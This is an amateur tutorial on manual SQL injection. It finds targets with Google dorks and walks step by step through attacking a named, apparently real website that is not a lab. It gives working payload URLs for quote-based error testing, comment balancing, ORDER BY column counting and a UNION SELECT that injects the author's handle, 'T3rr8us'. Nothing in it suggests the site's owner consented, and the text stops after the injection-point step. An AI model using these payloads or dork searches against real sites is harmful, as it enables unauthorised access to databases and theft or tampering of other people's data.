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INTRODUCTION OF SQLK
SQL injection is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. It generally allows an attacker to view data that they are not normally able to retrieve. This might include data belonging to other users, or any other data that the application itself is able to access. In many cases, an attacker can modify or delete this data, causing persistent changes to the application's content or behavior.


1. You have to find a target site. You can search google dorks for dork list.
Example :
In google search bar type :
( inurl:.php?id= )
[ this will display some Website That We Can Use In Sqli ]
Lets assume you have found the Our TARGET Site Is :
( https://www.cacpa.in/ )

2. Is to find possible PARAMETER by manual or google dork.
In google search bar type :
( Site:https://www.cacpa.in php?id= )
Or
( www.cacpa.in php?id= )
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And Then It Will Show Some Parameter
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Choose a Link on the displayed search result. 
Example :
( https://www.cacpa.in/page.php?id=10 )

So the above now is our parameter chosen.
[ note it can be on other parameters ]

Next step is to test if parameter is vulnerable by puting single quot at the end  -> '
Example : ( https://www.cacpa.in/page.php?id=10' )
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Check the website for errors like a message that you have an error in mysql, another is a missing picture, or anything changes in the website..if there are changes so possible we can inject it.

Next step lets find the proper BALANCER to FIX the error brought by the singe quot 
' like --+- we put it AFTER the singe quot
Example : ( https://www.cacpa.in/page.php?id=10'--+- )
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The site should return to its normal state without errors or missing pictures or text. 
When there is a single quot+ balancer 
( ' --+- )  it is called String Based.

If this dont work you go to Union Based
Remove the single quot like :
( https://www.cacpa.in/page.php?id=10-- )
To Fixe The Error

Assuming our target is String Based next step is to find how many columns it has by puting the sql query ORDER BY 1 to test
LOOK FOR THE LAST NUMBER WITHOUT ERROR :
( https://www.cacpa.in/page.php?id=10' ORDER BY 1--+- )  [ No error/normal ]

https://www.cacpa.in/page.php?id=10' ORDER BY 10--+-   [ ERROR ]

https://www.cacpa.in/page.php?id=10' ORDER BY 9--+-   [ ERROR ]

https://www.cacpa.in/page.php?id=10' ORDER BY 8--+-   [ ERROR ]

https://www.cacpa.in/page.php?id=10' ORDER BY 6--+-   [ ERROR ]

https://www.cacpa.in/page.php?id=10' ORDER BY 5--+-   [ No error/normal ]
In our example ORDER BY 5 GOT NO ERRORS BUT 6 HAS 
So the number of columns are 5.

Now we go now to the next step using UNION SELECT to find  the vulnerable column/s from those 5 columns
( https://www.cacpa.in/page.php?id=10'AND+0+UNION+SELECT+1,2,3,4,5--+- )
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You can see now a number or numbers in the screen . That number is out injection point just choose one. Assuming numbers 4 are displayed on the screen I will choose number 4 and put my codename or CN [ sometimes this should be converted to hex ] but ill use single quot for this example.
( 'Injected By: T3rr8us' )

So the query look like below

https://www.cacpa.in/page.php?id=10'AND+0+UNION+SELECT+1,2,3,'Injected By: T3rr8us',5--+-

It should display the CN. 
" Injected By: T3rr8us " 
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